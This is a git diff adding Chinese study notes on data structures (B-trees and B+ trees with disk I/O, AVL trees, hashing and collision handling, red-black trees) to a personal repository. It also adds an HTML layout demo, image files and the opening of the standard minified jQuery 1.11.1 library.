(如上图)的磁头是可移动的。每一个盘面上只有一个磁头(磁头是双向的,因此正反盘面都能读写)。它可以从该面的一个磁道移动到另一个磁道。所有磁头都装在同一个动臂上,因此不同盘面上的所有磁头都是同时移动的(行动整齐划一)。当盘片绕主轴旋转的时候,磁头与旋转的盘片形成一个圆柱体。各个盘面上半径相同的磁道组成了一个圆柱面,我们称为柱面 。因此,柱面的个数也就是盘面上的磁道数。 + +* 磁盘的读/写原理和效率 + + 磁盘上数据必须用一个三维地址唯一标示:柱面号、盘面号、块号(磁道上的盘块) + + 读/写磁盘上某一指定数据需要下面3个步骤: + - 首先移动臂根据柱面号使磁头移动到所需要的柱面上,这一过程被称为定位或查找 。 + - 所有磁头都定位到了10个盘面的10条磁道上(磁头都是双向的)。这时根据盘面号来确定指定盘面上的磁道 + - 盘面确定以后,盘片开始旋转,将指定块号的磁道段移动至磁头下。 + * 经过上面三个步骤,指定数据的存储位置就被找到。这时就可以开始读/写操作了。 +* 访问某一具体信息,由3部分时间组成: + + 查找时间(seek time) Ts: 完成上述步骤(1)所需要的时间。这部分时间代价最高,最大可达到0.1s左右。 + + 等待时间(latency time) Tl: 完成上述步骤(3)所需要的时间。由于盘片绕主轴旋转速度很快,一般为7200转/分(电脑硬盘的性能指标之一, 家用的普通硬盘的转速一般有5400rpm(笔记本)、7200rpm几种)。因此一般旋转一圈大约0.0083s。 + + 传输时间(transmission time) Tt: 数据通过系统总线传送到内存的时间,一般传输一个字节(byte)大概0.02us=2*10^(-8)s +* 磁盘读取数据是以盘块 (block) 为基本单位的。 位于同一盘块中的所有数据都能被一次性全部读取出来。而磁盘IO代价主要花费在查找时间Ts上。因此我们应该尽量将相关信息存放在同一盘块,同一磁道中。或者至少放在同一柱面或相邻柱面上,以求在 读/写信息时尽量减少磁头来回移动的次数,避免过多的查找时间Ts。 +* 所以,在大规模数据存储方面,大量数据存储在外存磁盘中,而在外存磁盘中读取/写入块(block)中某数据时,首先需要定位到磁盘中的某块,如何有效地查找磁盘中的数据,需要一种合理高效的外存数据结构,就是下面所要重点阐述的B-tree结构,以及相关的变种结构:B+-tree结构和B*-tree结构。 + +###硬盘与B树结合分析 +![disk-B-tree](http://7xirg5.com1.z0.glb.clouddn.com/disk-B-tree.png) +* 文件查找的具体过程(涉及磁盘IO操作),为了简单,上图用少量数据构造一棵3叉树的形式,实际应用中的B树结点中关键字很多的。上图中比如根结点,其中17表示一个磁盘文件的文件名;小红方块表示这个17文件内容在硬盘中的存储位置;p1表示指向17左子树的指针。 +* 假如每个盘块可以正好存放一个B树的结点(正好存放2个文件名)。那么一个结点就代表一个盘块,而子树指针就是存放另外一个盘块的地址。 +* 模拟查找文件29的过程: + + 根据根结点指针找到文件目录的根磁盘块1,将其中的信息导入内存。【磁盘IO操作 1次】 + + 此时内存中有两个文件名17、35和三个存储其他磁盘页面地址的数据。根据算法我们发现:17<29<35,因此我们找到指针p2。 + + 根据p2指针,我们定位到磁盘块3,并将其中的信息导入内存。【磁盘IO操作 2次】 + + 此时内存中有两个文件名26,30和三个存储其他磁盘页面地址的数据。根据算法我们发现:26<29<30,因此我们找到指针p2。 + + 根据p2指针,我们定位到磁盘块8,并将其中的信息导入内存。【磁盘IO操作 3次】 + + 此时内存中有两个文件名28,29。根据算法我们查找到文件名29,并定位了该文件内存的磁盘地址。 +* 分析上面的过程,发现需要3次磁盘IO操作和3次内存查找操作。关于内存中的文件名查找,由于是一个有序表结构,可以利用折半查找提高效率。至于IO操作是影响整个B树查找效率的决定因素。 +* 如果我们使用平衡二叉树的磁盘存储结构来进行查找,磁盘4次,最多5次,而且文件越多,B树比平衡二叉树所用的磁盘IO操作次数将越少,效率也越高。 + +###概念 +* 多路查找树 + + 每个结点孩子个数可以 > 2; + + 每个结点可以存储多个数据元素; + +###2-3树 +* 是一种多路查找树; +* 每个结点都具有两个孩子或三个孩子; +* 具有两个孩子的结点称为2结点,具有三个孩子的结点称为3结点; +* 一个2结点包含一个元素,如果有孩子就有两个,否则无孩子,并且左孩子结点值 `<` 根,右 `>` 根; +* 一个3结点包含两个元素,如果有孩子就有三个,否则无孩子,并且左孩子结点值 `<` 较小的,右 `>` 较大的,较小值 `<` 中间孩子 `<` 较大值; +* 所有叶子在 `同一层` 上; +![2-3-tree](http://7xirg5.com1.z0.glb.clouddn.com/2-3-tree.png) + +###2-3树的插入操作 +* 插入操作一定是发生在叶子上的; +* 插入分三种情况: + 1. 空树,插入一个2结点元素即可; + 2. 插入结点到一个2结点的叶子上,直接将这个2结点升级为3结点(注意结点元素的顺序); + 3. 要往3结点中插入一个新元素,破坏2-3树规则,因此需要拆分 +![2-3-tree-create](http://7xirg5.com1.z0.glb.clouddn.com/2-3-tree-create.png) + +###2-3树的删除 +* 删除操作和插入原理一致,总要保持2-3树的规则就可以了; + +###B树 +* 以上讲的2-3树是B树的特例; +* 是一种平衡的多路查找树; +* B即 `Balanced`,平衡的意思; +* 结点最大的孩子数目成为B树的阶(order),2-3树的阶是3阶B树; + +###B树特性 +(1)一个结点可以容纳多个值。 +(2)除非数据已经填满,否则不会增加新的层。也就是说,B树追求"层"越少越好。 +(3)子结点中的值,与父结点中的值,有严格的大小对应关系。一般来说,如果父结点有a个值,那么就有a+1个子结点。比如,父节点有两个值(7和16),就对应三个子结点,第一个子结点都是小于7的值,最后一个子结点都是大于16的值,中间的结节点就是7和16之间的值。 + +###### *所以根据以上讲解,当我们在设计B树结构的时候,可以将B树中每个结点存放数据的`个数`与硬盘的盘块容量做匹配,保证一次性获取尽可能多的数据,获取数据后在内存中我们可以使用拆半查找等算法进行内存查找操作。* + + +###B+树 +* B树的变种; +* 分支结点只存索引,不存具体数据; +* 叶子结点包含所有数据,并且包含叶子结点本身按着关键字大小自小而大顺序连接; +![B+tree](http://7xirg5.com1.z0.glb.clouddn.com/B+tree.png) + +### 为什么说B+-tree比B 树更适合实际应用中操作系统的文件索引和数据库索引? +* B+-tree的磁盘读写代价更低 + + B+-tree 的内部结点并没有指向关键字具体信息的指针。因此其内部结点相对B 树更小。如果把所有同一内部结点的关键字存放在同一盘块中,那么盘块所能容纳的关键字数量也越多。一次性读入内存中的需要查找的关键字也就越多。相对来说IO读写次数也就降低了。 +  + 举个例子,假设磁盘中的一个盘块容纳16bytes,而一个关键字2bytes,一个关键字具体信息指针2bytes。一棵9阶[B-tree]()(一个结点最多8个关键字)的内部结点需要2个盘快。而****B+  +****树内部结点只需要1个盘快。当需要把内部结点读入内存中的时候,B 树就比****B+  +****树多一次盘块查找时间(在磁盘中就是盘片旋转的时间)。 +* B+-tree的查询效率更加稳定 + + 由于非终结点并不是最终指向文件内容的结点,而只是叶子结点中关键字的索引。所以任何关键字的查找必须走一条从根结点到叶子结点的路。所有关键字查询的路径长度相同,导致每一个数据的查询效率相当。 +  +  diff --git "a/datastruct/\346\237\245\346\211\276-\345\271\263\350\241\241\344\272\214\345\217\211\346\240\221-AVL.md" "b/datastruct/\346\237\245\346\211\276-\345\271\263\350\241\241\344\272\214\345\217\211\346\240\221-AVL.md" new file mode 100644 index 00000000..8efd253e --- /dev/null +++ "b/datastruct/\346\237\245\346\211\276-\345\271\263\350\241\241\344\272\214\345\217\211\346\240\221-AVL.md" @@ -0,0 +1,34 @@ +title: "平衡二叉树-AVL" +date: 2015-06-25 09:09:49 +categories: 数据结构 +tags: 数据结构 +--- +###由来 +* 一棵斜树也可以是一棵二叉排序树,但是斜树 `查找慢`; +* 所以最好把BST构建成平衡二叉树 AVL,`查找快`; +* 深度越小,查找结点路径越短,查找也就越快; +* 可以称AVL是一种特殊的 BST; + + + +###定义 +* 平衡因子-BF(blance Factor):结点的左子树深度 - 右子树深度,有三种可能值 -1 、0、1; +* BF绝对值 <=1; + +### 最小不平衡子树 +* 向BST中插入新结点,导致某棵子树的BF绝对值 >1; +* 称这棵子树为最小不平衡子树; +![AVL-one](http://7xirg5.com1.z0.glb.clouddn.com/AVL-one.png) + +###插入一个新结点调整平衡 +* 当插入一个新结点后,导致整棵二叉树失去平衡; +* 调整最小不平衡子树为平衡二叉树; +* 最小不平衡子树根结点 BF符号与子结点BF相同: + + 都是正数:左高右低,右旋转; + + 都是负数:左低右高,左旋转; +* 最小不平衡子树根结点 BF符号与子结点BF不同: + + 将子结点作为根结点进行相应旋转,使其子结点BF符号与根结点符号相同; + + 然后在进行相应的旋转,达到平衡的目的; + +###讨论版图 +![AVL](http://7xirg5.com1.z0.glb.clouddn.com/AVL.jpg) diff --git "a/datastruct/\346\237\245\346\211\276-\346\225\243\345\210\227\350\241\250-HashTable\346\237\245\346\211\276.md" "b/datastruct/\346\237\245\346\211\276-\346\225\243\345\210\227\350\241\250-HashTable\346\237\245\346\211\276.md" new file mode 100644 index 00000000..2bf9c7b8 --- /dev/null +++ "b/datastruct/\346\237\245\346\211\276-\346\225\243\345\210\227\350\241\250-HashTable\346\237\245\346\211\276.md" @@ -0,0 +1,107 @@ +### 概念 +* **散列技术**: 在记录的存储位置和它的关键字之间建立一个确定的对应关系f,使得每个关键字key对应一个存储位置f(key) , 通过查找关键字, 不需要比较就可获得记录的存储位置; +> 存储位置 = f(关键字) +* **散列表或哈希表**: 采用散列技术将记录存储在一块连续的存储空间中,这块连续存储空间称为**散列表或哈希表(HashTable)**; + + HashTable是一种存储数据的结构,就是用一个key对应一个value,我们可以通过key来查询这个value值。 + + 通过Hash函数 f(关键字value)计算处理,将关键字保存,并返回一个自定义的存储位置 key; + + 查询的时候和以上第二步计算位置的方式一样,通过Hash函数 f(关键字value) 返回存储位置,只是在查询的时候不用做保存数据操作而已; + + 具体可以参见:[简单HashTable原理](http://www.arkulo.com/2015/03/03/HashTable/) +* **Hash函数**:传一个value值给这个函数,这个函数对其进行保存,并把保存的位置key返回给调用方。这是HashTable的构造过程。 +* **散列地址**: 关键字对应的记录存储位置, 也就是以上HashTable中所说的key; + +### 散列技术的特性 +* 既是一种存储方法,也是一种查找方法; +* 数据元素之间无罗辑关系,所以不适合范围查找,不适合查找同样关键字的记录,不适合获取记录的排序,最值等操作; + +---- + +## 散列函数的构造 +* 原则:(1) 计算简单; (2)散列地址分布均匀 + +### 直接定址法 +> f(key) = a*key+b; ( a,b为常量 ) + +* 背景: 知道关键字的分布; +* 取关键字的某个线性函数值作为散列地址; +* 特点:简单,均匀,不会冲突,但是事先知道关键字的分布情况,适合查找表小且连续。 +* 举例:比如统计1980年以后出生的人数: + + f(key) = key-1980; +![](https://raw.githubusercontent.com/liangxifeng833/my_program/master/images/datastruct/search-hash-function-1.png) + +### 数字分析法 +* 背景: 关键字位数多,知道关键字分布; +* 比如手机号,可能前几位一样,只是后几位不同,抽取关键字的一部分计算散列存储位置。事先知道关键字分布且若干位分布均匀。 +![](https://raw.githubusercontent.com/liangxifeng833/my_program/master/images/datastruct/search-hash-function-2.png) +* 对手机号的后4位做特殊处理,比如: + + 翻转: 1234=>4321 + + 叠加: 1234=>12+34=46,等等; + +### 平方取中法 +* 背景: 不知道关键字分布,且位数不是很大。 +* 比如: 1234,平方1522756,抽取中间227作为散列地址。 + +### 折叠法 +* 背景: 不知道关键字分布,位数多。  +* 从左到右分割成位数相等的几部分,这几部分叠加求和,并按散列表表长,取后几位作为散列地址。 +* 比如: 关键字是 9876543210, 散列表长为3; 将关键字分为4组, 987 | 654 | 321 | 0 , 然后 987+654+321+0=1962, 求后三位得到散列地址为962; + +### 除留余数法 +> f(key) = key mod p (p<=m) +> m代表散列表长度 + +* p选取不好,产生冲突。 +* **通常p为<=m(最好接近m)的最小质数或者不包含小于20质因子的合数。** + +###  随机数法 +> f(key)=random(key) +> random随机函数 + +* 背景: 关键字长度不等。 +* 当关键字为字符串,转化为某种数字来对待,比如ASCLL码或者Unicode码等。 + +---- + +## 散列冲突解决方法 +* **冲突**:关键字key1不等于key2,但f(key1)=f(key2)。  +* 把key1和key2称为散列函数的同义词。 + +### 开放定址法 +一旦冲突,寻找下一个空的散列地址,散列表大, 又称"线性探测法"; +> fi(key) = ( f(key) + di ) MOD m (di=1,2,3...,m-1); + + +优化: 二次探测法 + + + +还有对位移量d随机函数计算,称之为**随机探测法**。 + +### 再散列函数法; +> fi(key) = RHi(key) (i=1,2,...k) + +* RHi不同散列函数,随机使用除留、折叠、平方,每次冲突换种散列函数。 + +### 链地址法 +* 将所有关键字为同义词的记录存储在一个单链表(同义词字表)中; +* 散列表中只存储所有同义词字表的头指针; +* 缺点: 查找时候需要遍历单链表, 有性能损耗; +{12,67,56,16,25,37,22,29,15,47,48,34} mod 12  +![](https://raw.githubusercontent.com/liangxifeng833/my_program/master/images/datastruct/search-hash-function-6.png) +* 具体可以参见:[简单HashTable原理](http://www.arkulo.com/2015/03/03/HashTable/) + +### 公共溢出区法 +* 冲突关键字存储到溢出表中  +* 以上图有 37,48,34 是冲突的关键字,那么我们单独放在另外溢出表中, 可以将基本表和溢出表定义为两个数组; +![](https://raw.githubusercontent.com/liangxifeng833/my_program/master/images/datastruct/search-hash-function-7.png) +* 散列计算后,先基本表比较。不等,到溢出表进行顺序查找。 + +### 哈希表查找 +* 如果无冲突,O(1)。 +* 查找平均长度取决于: + + 散列函数是否均匀 + + 处理冲突的方法 + + 散列表的装填因子 装填因子=填入表中的记录个数/散列表长度。(表示散列表的装满的程度) 当填入表中的记录越多,装填因子越大,产生冲突可能性越大。 +* 通常设计散列表原则是: 将散列表空间设置的比查找集合大,牺牲空间换时间。 + +> [hashTable查找的完整代码地址](https://github.com/liangxifeng833/my_program/blob/master/C/search/hash_search.c) + diff --git "a/datastruct/\346\237\245\346\211\276-\347\272\242\351\273\221\346\240\221.md" "b/datastruct/\346\237\245\346\211\276-\347\272\242\351\273\221\346\240\221.md" new file mode 100644 index 00000000..bf658ee3 --- /dev/null +++ "b/datastruct/\346\237\245\346\211\276-\347\272\242\351\273\221\346\240\221.md" @@ -0,0 +1,18 @@ +###为什么产生红黑树 +* 动态规模比平衡二叉树(AVL)小;(动态规模指:对二叉树进行查找后进行修改或删除操作等); +* 因为AVL对平衡度要求严格,导致动态查找规模很大,而红黑树在动态规模小的情况下也可以达到相对平衡; +* 静态查找(只查找不操作)相对比ACL要慢; +* 一种特殊的二叉排序树; + +###特性 +1. 每个结点要么红色要么黑色; +2. 根结点是黑色; +3. 每个叶子结点都是 `黑色`; +4. 红色结点其孩子是黑色; + 4.1 不会出现连续红色结点; + 4.2 红色结点的父与子都是黑色; +5. 从任意一个结点到叶子结点的简单路径中黑色结点数量相同(黑高度); +6. 最长简单路径 / 最短简单路径 < 2; + + + diff --git a/html5/layout.html b/html5/layout.html new file mode 100644 index 00000000..67102c77 --- /dev/null +++ b/html5/layout.html @@ -0,0 +1,69 @@ + + + + + + +
+

这是一个header标签

+ +
+
+
+

这是一个section标

+
+

标题 - 春晓

+

+ 春眠不觉晓,
+ 处处文字咬,
+

+
+
+
+

标题 - 上学歌

+

+ 太阳当空照,
+ 花儿对我笑,
+

+
+
+ +
+
+
+ + + diff --git a/images/datastruct/Dijkstra_1.png b/images/datastruct/Dijkstra_1.png new file mode 100644 index 00000000..6a862f41 Binary files /dev/null and b/images/datastruct/Dijkstra_1.png differ diff --git a/images/datastruct/Dijkstra_2.png b/images/datastruct/Dijkstra_2.png new file mode 100644 index 00000000..ea25b75f Binary files /dev/null and b/images/datastruct/Dijkstra_2.png differ diff --git a/images/datastruct/Dijkstra_3.png b/images/datastruct/Dijkstra_3.png new file mode 100644 index 00000000..fcd8a578 Binary files /dev/null and b/images/datastruct/Dijkstra_3.png differ diff --git a/images/datastruct/graph-floyd-algorithm-1.png b/images/datastruct/graph-floyd-algorithm-1.png new file mode 100644 index 00000000..701db6fb Binary files /dev/null and b/images/datastruct/graph-floyd-algorithm-1.png differ diff --git a/images/datastruct/graph-floyd-algorithm-2.png b/images/datastruct/graph-floyd-algorithm-2.png new file mode 100644 index 00000000..f0135a97 Binary files /dev/null and b/images/datastruct/graph-floyd-algorithm-2.png differ diff --git a/images/datastruct/graph-floyd-algorithm-3.png b/images/datastruct/graph-floyd-algorithm-3.png new file mode 100644 index 00000000..b437ba66 Binary files /dev/null and b/images/datastruct/graph-floyd-algorithm-3.png differ diff --git a/images/datastruct/graph-floyd-algorithm-4.png b/images/datastruct/graph-floyd-algorithm-4.png new file mode 100644 index 00000000..b687db4a Binary files /dev/null and b/images/datastruct/graph-floyd-algorithm-4.png differ diff --git a/images/datastruct/graph-floyd-algorithm-5.png b/images/datastruct/graph-floyd-algorithm-5.png new file mode 100644 index 00000000..8812a881 Binary files /dev/null and b/images/datastruct/graph-floyd-algorithm-5.png differ diff --git a/images/datastruct/graph-floyd-algorithm-6.png b/images/datastruct/graph-floyd-algorithm-6.png new file mode 100644 index 00000000..b2592316 Binary files /dev/null and b/images/datastruct/graph-floyd-algorithm-6.png differ diff --git a/images/datastruct/graph-key-path-1.png b/images/datastruct/graph-key-path-1.png new file mode 100644 index 00000000..d715d44e Binary files /dev/null and b/images/datastruct/graph-key-path-1.png differ diff --git a/images/datastruct/graph-key-path-2.png b/images/datastruct/graph-key-path-2.png new file mode 100644 index 00000000..9131b312 Binary files /dev/null and b/images/datastruct/graph-key-path-2.png differ diff --git a/images/datastruct/graph-key-path-3.png b/images/datastruct/graph-key-path-3.png new file mode 100644 index 00000000..32fc3c0d Binary files /dev/null and b/images/datastruct/graph-key-path-3.png differ diff --git a/images/datastruct/graph-topology-sort-1.png b/images/datastruct/graph-topology-sort-1.png new file mode 100644 index 00000000..73707904 Binary files /dev/null and b/images/datastruct/graph-topology-sort-1.png differ diff --git a/images/datastruct/graph-topology-sort-2.png b/images/datastruct/graph-topology-sort-2.png new file mode 100644 index 00000000..18016291 Binary files /dev/null and b/images/datastruct/graph-topology-sort-2.png differ diff --git a/images/datastruct/graph-topology-sort-3.png b/images/datastruct/graph-topology-sort-3.png new file mode 100644 index 00000000..0d8153a7 Binary files /dev/null and b/images/datastruct/graph-topology-sort-3.png differ diff --git a/images/datastruct/graph-topology-sort-4.png b/images/datastruct/graph-topology-sort-4.png new file mode 100644 index 00000000..deecd7bc Binary files /dev/null and b/images/datastruct/graph-topology-sort-4.png differ diff --git a/images/datastruct/graph-topology-sort-5.png b/images/datastruct/graph-topology-sort-5.png new file mode 100644 index 00000000..63d3d6f6 Binary files /dev/null and b/images/datastruct/graph-topology-sort-5.png differ diff --git a/images/datastruct/line-block-indexi.png b/images/datastruct/line-block-indexi.png new file mode 100644 index 00000000..d8561484 Binary files /dev/null and b/images/datastruct/line-block-indexi.png differ diff --git a/images/datastruct/line-dense-index.png b/images/datastruct/line-dense-index.png new file mode 100644 index 00000000..c0d60559 Binary files /dev/null and b/images/datastruct/line-dense-index.png differ diff --git a/images/datastruct/red_black.png b/images/datastruct/red_black.png new file mode 100644 index 00000000..fbf5132a Binary files /dev/null and b/images/datastruct/red_black.png differ diff --git a/images/datastruct/search-binary-1.png b/images/datastruct/search-binary-1.png new file mode 100644 index 00000000..65976ac5 Binary files /dev/null and b/images/datastruct/search-binary-1.png differ diff --git a/images/datastruct/search-concept-1.png b/images/datastruct/search-concept-1.png new file mode 100644 index 00000000..07433049 Binary files /dev/null and b/images/datastruct/search-concept-1.png differ diff --git a/images/datastruct/search-fbonacci-1.png b/images/datastruct/search-fbonacci-1.png new file mode 100644 index 00000000..9a55be2e Binary files /dev/null and b/images/datastruct/search-fbonacci-1.png differ diff --git a/images/datastruct/search-hash-function-1.png b/images/datastruct/search-hash-function-1.png new file mode 100644 index 00000000..7cc3bfe1 Binary files /dev/null and b/images/datastruct/search-hash-function-1.png differ diff --git a/images/datastruct/search-hash-function-2.png b/images/datastruct/search-hash-function-2.png new file mode 100644 index 00000000..fd648c82 Binary files /dev/null and b/images/datastruct/search-hash-function-2.png differ diff --git a/images/datastruct/search-hash-function-3.png b/images/datastruct/search-hash-function-3.png new file mode 100644 index 00000000..c2e92db5 Binary files /dev/null and b/images/datastruct/search-hash-function-3.png differ diff --git a/images/datastruct/search-hash-function-4.png b/images/datastruct/search-hash-function-4.png new file mode 100644 index 00000000..6f559a0d Binary files /dev/null and b/images/datastruct/search-hash-function-4.png differ diff --git a/images/datastruct/search-hash-function-5.png b/images/datastruct/search-hash-function-5.png new file mode 100644 index 00000000..92d8dd91 Binary files /dev/null and b/images/datastruct/search-hash-function-5.png differ diff --git a/images/datastruct/search-hash-function-6.png b/images/datastruct/search-hash-function-6.png new file mode 100644 index 00000000..e6df2c0d Binary files /dev/null and b/images/datastruct/search-hash-function-6.png differ diff --git a/images/datastruct/search-hash-function-7.png b/images/datastruct/search-hash-function-7.png new file mode 100644 index 00000000..e26e4290 Binary files /dev/null and b/images/datastruct/search-hash-function-7.png differ diff --git a/images/datastruct/sort-bubble-1.png b/images/datastruct/sort-bubble-1.png new file mode 100644 index 00000000..52fbf825 Binary files /dev/null and b/images/datastruct/sort-bubble-1.png differ diff --git a/images/datastruct/sort-bubble-2.png b/images/datastruct/sort-bubble-2.png new file mode 100644 index 00000000..e9aaf4db Binary files /dev/null and b/images/datastruct/sort-bubble-2.png differ diff --git a/images/datastruct/sort-bubble-3.png b/images/datastruct/sort-bubble-3.png new file mode 100644 index 00000000..16cfd668 Binary files /dev/null and b/images/datastruct/sort-bubble-3.png differ diff --git a/images/math/equation-function-1.gif b/images/math/equation-function-1.gif new file mode 100644 index 00000000..f1ba54fd Binary files /dev/null and b/images/math/equation-function-1.gif differ diff --git a/images/math/equation-function-2.gif b/images/math/equation-function-2.gif new file mode 100644 index 00000000..ae6de05e Binary files /dev/null and b/images/math/equation-function-2.gif differ diff --git a/images/math/equation-function-3.gif b/images/math/equation-function-3.gif new file mode 100644 index 00000000..32609bb6 Binary files /dev/null and b/images/math/equation-function-3.gif differ diff --git a/javascript/js_cookie/README.md b/javascript/js_cookie/README.md new file mode 100644 index 00000000..566a73cf --- /dev/null +++ b/javascript/js_cookie/README.md @@ -0,0 +1,2 @@ +# javascript 操作cookie +> 测试文件test.html diff --git a/javascript/js_cookie/jquery-1.11.1.min.js b/javascript/js_cookie/jquery-1.11.1.min.js new file mode 100644 index 00000000..42dec3a2 --- /dev/null +++ b/javascript/js_cookie/jquery-1.11.1.min.js @@ -0,0 +1,4 @@ +/*! jQuery v1.11.1 | (c) 2005, 2014 jQuery Foundation, Inc. | jquery.org/license */ +!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=h.hasOwnProperty,k={},l="1.11.1",m=function(a,b){return new m.fn.init(a,b)},n=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,o=/^-ms-/,p=/-([\da-z])/gi,q=function(a,b){return b.toUpperCase()};m.fn=m.prototype={jquery:l,constructor:m,selector:"",length:0,toArray:function(){return d.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:d.call(this)},pushStack:function(a){var b=m.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a,b){return m.each(this,a,b)},map:function(a){return this.pushStack(m.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(d.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(0>a?b:0);return this.pushStack(c>=0&&b>c?[this[c]]:[])},end:function(){return this.prevObject||this.constructor(null)},push:f,sort:c.sort,splice:c.splice},m.extend=m.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]||{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments[h]||{},h++),"object"==typeof g||m.isFunction(g)||(g={}),h===i&&(g=this,h--);i>h;h++)if(null!=(e=arguments[h]))for(d in e)a=g[d],c=e[d],g!==c&&(j&&c&&(m.isPlainObject(c)||(b=m.isArray(c)))?(b?(b=!1,f=a&&m.isArray(a)?a:[]):f=a&&m.isPlainObject(a)?a:{},g[d]=m.extend(j,f,c)):void 0!==c&&(g[d]=c));return g},m.extend({expando:"jQuery"+(l+Math.random()).replace(/\D/g,""),isReady:!0,error:function(a){throw new Error(a)},noop:function(){},isFunction:function(a){return"function"===m.type(a)},isArray:Array.isArray||function(a){return"array"===m.type(a)},isWindow:function(a){return null!=a&&a==a.window},isNumeric:function(a){return!m.isArray(a)&&a-parseFloat(a)>=0},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},isPlainObject:function(a){var b;if(!a||"object"!==m.type(a)||a.nodeType||m.isWindow(a))return!1;try{if(a.constructor&&!j.call(a,"constructor")&&!j.call(a.constructor.prototype,"isPrototypeOf"))return!1}catch(c){return!1}if(k.ownLast)for(b in a)return j.call(a,b);for(b in a);return void 0===b||j.call(a,b)},type:function(a){return null==a?a+"":"object"==typeof a||"function"==typeof a?h[i.call(a)]||"object":typeof a},globalEval:function(b){b&&m.trim(b)&&(a.execScript||function(b){a.eval.call(a,b)})(b)},camelCase:function(a){return a.replace(o,"ms-").replace(p,q)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b,c){var d,e=0,f=a.length,g=r(a);if(c){if(g){for(;f>e;e++)if(d=b.apply(a[e],c),d===!1)break}else for(e in a)if(d=b.apply(a[e],c),d===!1)break}else if(g){for(;f>e;e++)if(d=b.call(a[e],e,a[e]),d===!1)break}else for(e in a)if(d=b.call(a[e],e,a[e]),d===!1)break;return a},trim:function(a){return null==a?"":(a+"").replace(n,"")},makeArray:function(a,b){var c=b||[];return null!=a&&(r(Object(a))?m.merge(c,"string"==typeof a?[a]:a):f.call(c,a)),c},inArray:function(a,b,c){var d;if(b){if(g)return g.call(b,a,c);for(d=b.length,c=c?0>c?Math.max(0,d+c):c:0;d>c;c++)if(c in b&&b[c]===a)return c}return-1},merge:function(a,b){var c=+b.length,d=0,e=a.length;while(c>d)a[e++]=b[d++];if(c!==c)while(void 0!==b[d])a[e++]=b[d++];return a.length=e,a},grep:function(a,b,c){for(var d,e=[],f=0,g=a.length,h=!c;g>f;f++)d=!b(a[f],f),d!==h&&e.push(a[f]);return e},map:function(a,b,c){var d,f=0,g=a.length,h=r(a),i=[];if(h)for(;g>f;f++)d=b(a[f],f,c),null!=d&&i.push(d);else for(f in a)d=b(a[f],f,c),null!=d&&i.push(d);return e.apply([],i)},guid:1,proxy:function(a,b){var c,e,f;return"string"==typeof b&&(f=a[b],b=a,a=f),m.isFunction(a)?(c=d.call(arguments,2),e=function(){return a.apply(b||this,c.concat(d.call(arguments)))},e.guid=a.guid=a.guid||m.guid++,e):void 0},now:function(){return+new Date},support:k}),m.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(a,b){h["[object "+b+"]"]=b.toLowerCase()});function r(a){var b=a.length,c=m.type(a);return"function"===c||m.isWindow(a)?!1:1===a.nodeType&&b?!0:"array"===c||0===b||"number"==typeof b&&b>0&&b-1 in a}var s=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+-new Date,v=a.document,w=0,x=0,y=gb(),z=gb(),A=gb(),B=function(a,b){return a===b&&(l=!0),0},C="undefined",D=1<<31,E={}.hasOwnProperty,F=[],G=F.pop,H=F.push,I=F.push,J=F.slice,K=F.indexOf||function(a){for(var b=0,c=this.length;c>b;b++)if(this[b]===a)return b;return-1},L="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",M="[\\x20\\t\\r\\n\\f]",N="(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",O=N.replace("w","w#"),P="\\["+M+"*("+N+")(?:"+M+"*([*^$|!~]?=)"+M+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+O+"))|)"+M+"*\\]",Q=":("+N+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+P+")*)|.*)\\)|)",R=new RegExp("^"+M+"+|((?:^|[^\\\\])(?:\\\\.)*)"+M+"+$","g"),S=new RegExp("^"+M+"*,"+M+"*"),T=new RegExp("^"+M+"*([>+~]|"+M+")"+M+"*"),U=new RegExp("="+M+"*([^\\]'\"]*?)"+M+"*\\]","g"),V=new RegExp(Q),W=new RegExp("^"+O+"$"),X={ID:new RegExp("^#("+N+")"),CLASS:new RegExp("^\\.("+N+")"),TAG:new RegExp("^("+N.replace("w","w*")+")"),ATTR:new RegExp("^"+P),PSEUDO:new RegExp("^"+Q),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+M+"*(even|odd|(([+-]|)(\\d*)n|)"+M+"*(?:([+-]|)"+M+"*(\\d+)|))"+M+"*\\)|)","i"),bool:new RegExp("^(?:"+L+")$","i"),needsContext:new RegExp("^"+M+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+M+"*((?:-\\d)?\\d*)"+M+"*\\)|)(?=[^-]|$)","i")},Y=/^(?:input|select|textarea|button)$/i,Z=/^h\d$/i,$=/^[^{]+\{\s*\[native \w/,_=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,ab=/[+~]/,bb=/'|\\/g,cb=new RegExp("\\\\([\\da-f]{1,6}"+M+"?|("+M+")|.)","ig"),db=function(a,b,c){var d="0x"+b-65536;return d!==d||c?b:0>d?String.fromCharCode(d+65536):String.fromCharCode(d>>10|55296,1023&d|56320)};try{I.apply(F=J.call(v.childNodes),v.childNodes),F[v.childNodes.length].nodeType}catch(eb){I={apply:F.length?function(a,b){H.apply(a,J.call(b))}:function(a,b){var 